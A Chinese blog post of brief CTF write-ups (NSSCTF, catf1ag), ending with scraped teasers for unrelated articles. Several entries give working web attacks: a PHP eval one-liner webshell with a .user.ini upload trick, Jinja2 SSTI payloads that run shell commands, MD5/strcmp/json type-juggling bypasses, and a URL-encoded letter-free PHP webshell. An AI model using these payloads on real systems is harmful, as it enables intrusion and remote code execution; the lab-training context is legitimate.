CTF记录

1. [SWPUCTF 2022 新生赛]android

用jadx打开,然后搜索NSS关键字

NSSCTF{a_simple_Android}

2. [SWPU 2024 新生引导]ez_SSTI

模板注入题目,直接焚靖可以秒了

填入数据 ls /

然后 cat /flag即可

获取成功

NSSCTF{2111e7ad-97c5-40d5-9a3b-a2f657bd45e8}

3.[SWPUCTF 2024 秋季新生赛]The future

直接?file=/flag 即可

4.[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件

根据题目名称:提示怎么多了个没用的php文件

同时根据题目描述:notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?

可以利用.user.ini文件

第一步:上传.user.ini

创建一个.user.ini文件,写入如下内容:

auto_prepend_file = 1.png

第二步:上传一句话木马(1.png)

创建一个1.txt文件,文件内容为如下内容,之后后缀改成png

<?php
@eval($_POST['x']);
phpinfo();
?>

第三步:使用蚁剑连接

使用蚁剑连接:http://node6.anna.nssctf.cn:28920/uploads/notion.php

NSSCTF{d2056ace-365d-4a90-8c86-3d98f8884b37}

5.[SWPUCTF 2024 秋季新生赛]PHP躲猫猫

get方式传参

post传参

进去到 /getfile.php 那里

经典的md5绕过与文件包含题目

get /getfile.php?CTF=s878926199a&&ATM=s1665632922a

post NSS=/f1ag

拿下

6.[NSSCTF 2022 Spring Recruit]办公文件里的秘密

下载附件为excel文档,进行填色

尝试修改文件后缀名,发现colors压缩包需要爆破

尝试爆破,爆破成功,密码为87654321

成功打开

NSSCTF{youknowtheoffice}

7. [SWPUCTF 2022 新生赛]Capture!

修改高度得part1
 

再LSB隐写一把梭

zsteg -a flag.png #一把梭

猜测base64,无果

再颠倒顺序即可解出

8. [SWPUCTF 2023 秋季新生赛]咱们玩个游戏吧

下载附件,发现8个图片

新建个ppt然后导入即可,然后拼接

扫一下

发现是一串16进制的字符串,然后url解密即可

NSSCTF{mountains_and_seas_for_you}

9. [SWPUCTF 2022 新生赛]Cycle Again

打开,一张图片,一个压缩包

图片丢进随波逐流中

发现第一部分的flag NSSCTF{41d769db-

丢进b神的工具中

爆出第二段flag

9f5d-455e-a458-8012ba3660f3}

两段进行拼接

NSSCTF{41d769db-9f5d-455e-a458-8012ba3660f3}

10.easy_usr

分析

进入地址之后,是一段php代码

<?php
//error_reporting(0);show_source('./index.php');
class flag_in_there{public $name;public $age;public function __construct($name,$age){$this->name = $name;$this->age = $age;}public function get_flag(){echo "hello,i'm '$this->name',now '$this->age' years";}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];if($ser == $un){include('flag.php');echo $flag;
}else{echo "你真棒~";
}
?>

分析代码发现,只要让变量ser=un就可以显示flag。

un可以从手动输入,ser是一个实例序列化。因此可以运行下下面代码,打印一下ser的值就可以。

class flag_in_there{public $name;public $age;public function __construct($name,$age){$this->name = $name;$this->age = $age;}public function get_flag(){echo "hello,i'm '$this->name',now '$this->age' years";}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
echo $ser

得到下面的结果

O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

然后构造url:
http://subject.catf1ag.cn:49640/index.php?str=O:13:“flag_in_there”:2:{s:4:“name”;s:5:“vfree”;s:3:“age”;s:2:“19”;}

显示flag:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}

11.json

进入网址显示:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){echo $flag;
}else{echo "<h3>404 not found</h4>";
}?>
404 not found

看代码,首先用到了json_decode函数,说明key应该是一个json类型字符串。
于是构造key={"flag":"0"},发现不行。

另外,需要构造的flag字段与变量flag相等。想到了php的弱类型比较。

php中弱类型对数据的类型要求并不严格,可以让数据类型互相转换。

== 和 ===的区别
php中其中两种比较符号:

==:先将字符串类型转化成相同,再比较

===:先判断两种字符串的类型是否相等,再比较

== 为松散比较 只比较值,不比较数据类型

若字符型值开头为数字,转为数字;

若开头不为数字,为 null 弱比较与 0 相等。)

"abc123"==123 => false
"abc123"==0 => true
"123abc"==123 => true

于是构造key={"flag":0}

得到flag:catf1ag{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}

12.strcmp

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){if(strcmp($init_str,$str)==0){echo $flag;}else{echo "no";}
}else{echo "nonono";
}?> no

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本php的网站进行渗透测试

对于这段代码,我们能用什么办法绕过验证呢, 只要我们$_GET[‘str’]是一个数组或者一个object即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。

其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_GET中的str),当作一个名字为xxx的数组构造

?str[]=1

13.不等于0

md5()只对字符加密,对数组加密返回False

所以传输num[]=1既可

14.easy_flask 模板注入问题

打一个{{7*7}}

说明存在

{{config}}

成功解决

15.easy_flask2

尝试一波发现在 /flag下

?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("ls").read()}}
?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("cat flag").read()}}

然后得出flag

16.又又不能相等

尝试一波数组绕过 ?num=[] 发现页面无回显内容

在响应头里查看

也可以用科学计数法进行绕过

?num=1e12

找flag方法同理

17.哦豁还有一办呢

查看响应头

发现响应头a

Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwa

查看源代码 发现flagb

两段进行拼接

Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwamw0d2d6bjZ5YmEzNzg1dHV4cmllcWZ9

catf1ag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}

18.xor

打开题目

1、推出异或的参数
一般结果都是‘flag{’开头,用‘flag{’和密文前5个字符异或,推出字符‘GAMEG’,推测是GAME循环异或
2、写脚本测试
s=‘!-,"<#}|!#}q#lt#w#`qpw.h~wyvjru#"x.p$s/v%<’
x=‘GAME’
result=‘’
for i in range(len(s)):
result += chr(ord(s[i]) ^ ord(x[i % 4]))
print(result)
得出flag

进行运行

flag{b09fb04d-9f0b-476c-9643-38fe9c5c2b3b}

19.bypass_wakeup

分析过程

运行出来

20.无字符webshell

看到过滤了大小写字母和数字

采用异或绕过或者取反绕过

进入显示:

<?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){die("giaogiaogiao!!!");
}
else {eval($cmd);
}
highlight_file(__FILE__)
?>

过滤了字母和数字,要求不能用字母和数字构造出php执行函数。

如何构造无字符webshell:https://blog.csdn.net/m0_59049258/article/details/132381714

函数名取反绕过正则。
使用php打印函数名取反的url编码

<?php$a = "system";echo urlencode(~$a);
?>

输出:

%8C%86%8C%8B%9A%92

用类似的方法,找出你想要执行的函数名url编码

%8C%86%8C%8B%9A%92  // system 的取反url编码
%93%8C   // ls 的取反url编码
%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD // find / -name "*flag*" 的取反url编码
%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B  //  cat /flag.txt  的取反url编码

有了这些编码,就可以构造payload了。
例如,想要执行system(ls),可以构造:

$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);

接下来开始解题:
首先执行ls查看下文件

http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);

显示:

Dockerfile docker-compose.yml index.php <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){die("giaogiaogiao!!!");
}
else {eval($cmd);
}
highlight_file(__FILE__)
?>

发现没有flag的信息,于是,尝试搜索下falg文件,尝试执行find / -name "*flag*"

http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD;$_($__);

显示:

/sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/kpageflags /flag.txt <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){die("giaogiaogiao!!!");
}
else {eval($cmd);
}
highlight_file(__FILE__)
?>

找到了flag文件,查看内容,执行cat /flag.txt

得到flag:

catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc} <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){die("giaogiaogiao!!!");
}
else {eval($cmd);
}
highlight_file(__FILE__)
?>

catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc}

21.舔狗日记

打开

随便点击一下

然后在后面添加经过base64编码的东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/12096.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Vue使用富文本编辑器vue-quill-editor

Vue使用富文本编辑器 1. 安装 npm install vue-quill-editor -S2. 引入到项目中 有两种挂载方式&#xff1a; 全局挂载 和 在组件中挂载&#xff0c;根据自己的项目需求选择&#xff0c;一般用到富文本编辑都是在某一个项目中&#xff0c;我们这里为了方便大家选择&#xff…

AUTOSAR_EXP_ARAComAPI的7章笔记(2)

☞返回总目录 相关总结&#xff1a;服务发现实现策略总结 7.2 服务发现的实现策略 如前面章节所述&#xff0c;ara::com 期望产品供应商实现服务发现的功能。服务发现功能基本上是在 API 级别通过 FindService、OfferService 和 StopOfferService 方法定义的&#xff0c;协议…

windows yolo11 自定义训练

一、在yolo11源码文件夹创建一个train.py 内容如下&#xff1a; from ultralytics import YOLOif __name__ __main__:model YOLO(rultralytics/cfg/models/11/yolo11.yaml)model.train(datarD:/yolo11/WiderPerson_yolo/WiderPerson_yolo/WiderPerson_yolo.yaml,imgsz(640,3…

简述 synchronized 和 java.util.concurrent.locks.Lock 的异同?

大家好&#xff0c;我是锋哥。今天分享关于【简述 synchronized 和 java.util.concurrent.locks.Lock 的异同&#xff1f;】面试题。希望对大家有帮助&#xff1b; 简述 synchronized 和 java.util.concurrent.locks.Lock 的异同&#xff1f; 在Java编程中&#xff0c;synchro…

C语言中,“extern”关键字的含义与用法

在C语言中&#xff0c;extern 关键字用于声明一个已经在其他地方定义的变量或函数。它的主要作用是告诉编译器&#xff0c;某个变量或函数是在当前文件之外定义的&#xff0c;编译器应该在链接阶段找到这个变量或函数的实际定义。以下是 extern 的一些常见用途和用法&#xff1…

TCP最后一次握⼿连接阶段,如果ACK包丢失会怎样?

2024年10月NJSD技术盛典暨第十届NJSD软件开发者大会、第八届IAS互联网架构大会在南京召开。百度文心快码总经理臧志分享了《AI原生研发新范式的实践与思考》&#xff0c;探讨了大模型赋能下的研发变革及如何在公司和行业中落地&#xff0c;AI原生研发新范式的内涵和推动经验。 …

【大数据学习 | HBASE】hbase的读数据流程与hbase读取数据

1. hbase的读数据流程 在解析读取流程之前我们还需要知道两个功能性的组件和HFIle的格式信息 HFILE 存储在hdfs中的hbase文件&#xff0c;这个文件中会存在hbase中的数据以kv类型显示&#xff0c;同时还会存在hbase的元数据信息&#xff0c;包括整个hfile文件的索引大小&…

AI基础知识

目录 1.激活函数:one: 激活函数的作用:two: sigmoid函数:three: tanh函数:four: ReLu:five: Leaky ReLU 2.Softmax函数3.优化器:one: 优化器的作用:two: BGD&#xff08;批梯度下降&#xff09;:three: SGD&#xff08;随机梯度下降&#xff09;:four: MBGD&#xff08;Mini Ba…

01背包问题(DP)

2. 01背包问题 - AcWing题库 DP做题思路分析 实现代码&#xff1a; #include <iostream> #include <algorithm>using namespace std;const int N 1010;int n , m; int v[N],w[N],dp[N][N];int main() {cin >> n >> m;for (int i 1;i < n;i) {ci…

如何提升自媒体发稿效果,必须掌握的几个技巧

在自媒体时代&#xff0c;发稿效果直接关系到内容的传播力与影响力。为了提升自媒体发稿效果&#xff0c;有几个关键技巧是每位自媒体人必须掌握的。以下是对这些技巧的详细阐述&#xff1a; 一、明确受众定位 首先&#xff0c;自媒体人需要明确自己的受众群体。这包括受众的…

充电桩基础设施的时空大数据分析:以深圳市为例

随着全球对可持续交通解决方案的需求不断增长&#xff0c;电动汽车&#xff08;EV&#xff09;作为减少交通领域碳排放的重要手段&#xff0c;受到了广泛的关注。然而&#xff0c;电动汽车的普及和发展面临着诸多挑战&#xff0c;其中充电基础设施的建设和管理尤为关键。为了更…

将数组中的数据反向输出(数组,函数)

将数组中的数据反向输出&#xff0c;用数组名作函数参数 swap函数是用来实现数组中元素前后的调换&#xff0c;用这种方式来实现数组中元素的逆序输出 #include <stdio.h> #include <stdlib.h> void swap(int m[],int n); int main() {int a[]{1,2,3,4,5,6,7,8,9,…

【Matlab算法】MATLAB实现基于小波变换的信号去噪(附MATLAB完整代码)

MATLAB实现基于小波变换的信号去噪 结果图前言正文1. 小波变换理论基础1.1 小波变换的数学模型1.2 离散小波变换原理2. 信号去噪方法2.1 去噪算法流程2.2 阈值处理方法3. 核心函数解析3.1 wavedec函数3.2 wthresh函数代码实现4.1 信号生成4.2 小波变换去噪完整代码总结参考文献…

01-JavaSE课程总体介绍

适合人群 课程体系 学完本阶段&#xff0c;至少得到以下收货 学习内容&#xff08;视频课件源码&#xff09; 资料领取 JavaSE课程 更多资料获取&#xff0c;请联系星主

Linux( 权限+特殊权限 图片+大白话)

后面也会持续更新&#xff0c;学到新东西会在其中补充。 建议按顺序食用&#xff0c;欢迎批评或者交流&#xff01; 缺什么东西欢迎评论&#xff01;我都会及时修改的&#xff01; 在这里真的很感谢这位老师的教学视频让迷茫的我找到了很好的学习视频 王晓春老师的个人空间…

【Python】python商品营销策略数据分析可视化(源码+数据+论文)【独一无二】

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

Python 爬虫运行状态监控:进度、错误与完成情况

Python 爬虫运行状态监控&#xff1a;进度、错误与完成情况 在进行大规模数据爬取时&#xff0c;监控爬虫的运行状态至关重要。通过实时监控&#xff0c;可以了解爬虫的工作进度、出现的错误以及任务完成情况。这样可以及时发现并解决问题&#xff0c;确保数据抓取任务顺利进行…

内核tracepoint的注册回调及添加的方法

一、背景 内核开发时往往需要做一些内核态函数的监测或者内核状态的监测&#xff0c;就需要用一些调试手段来观测。常用的内核态的观测如kprobe和tracepoint&#xff0c;但是kprobe往往受制于一些系统的限制&#xff0c;很多系统并没有打开kprobe选项&#xff0c;这样我们不能…

全网最详细的自动化测试(Jenkins 篇)

学习 Jenkins 自动化测试的系列文章 Robot Framework 概念Robot Framework 安装Pycharm Robot Framework 环境搭建Robot Framework 介绍Jenkins 自动化测试 1. Robot Framework 概念 Robot Framework是一个基于Python的&#xff0c;可扩展的关键字驱动的自动化测试框架。 …

区块链技术在知识产权保护中的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 区块链技术在知识产权保护中的应用 区块链技术在知识产权保护中的应用 区块链技术在知识产权保护中的应用 引言 区块链技术概述 …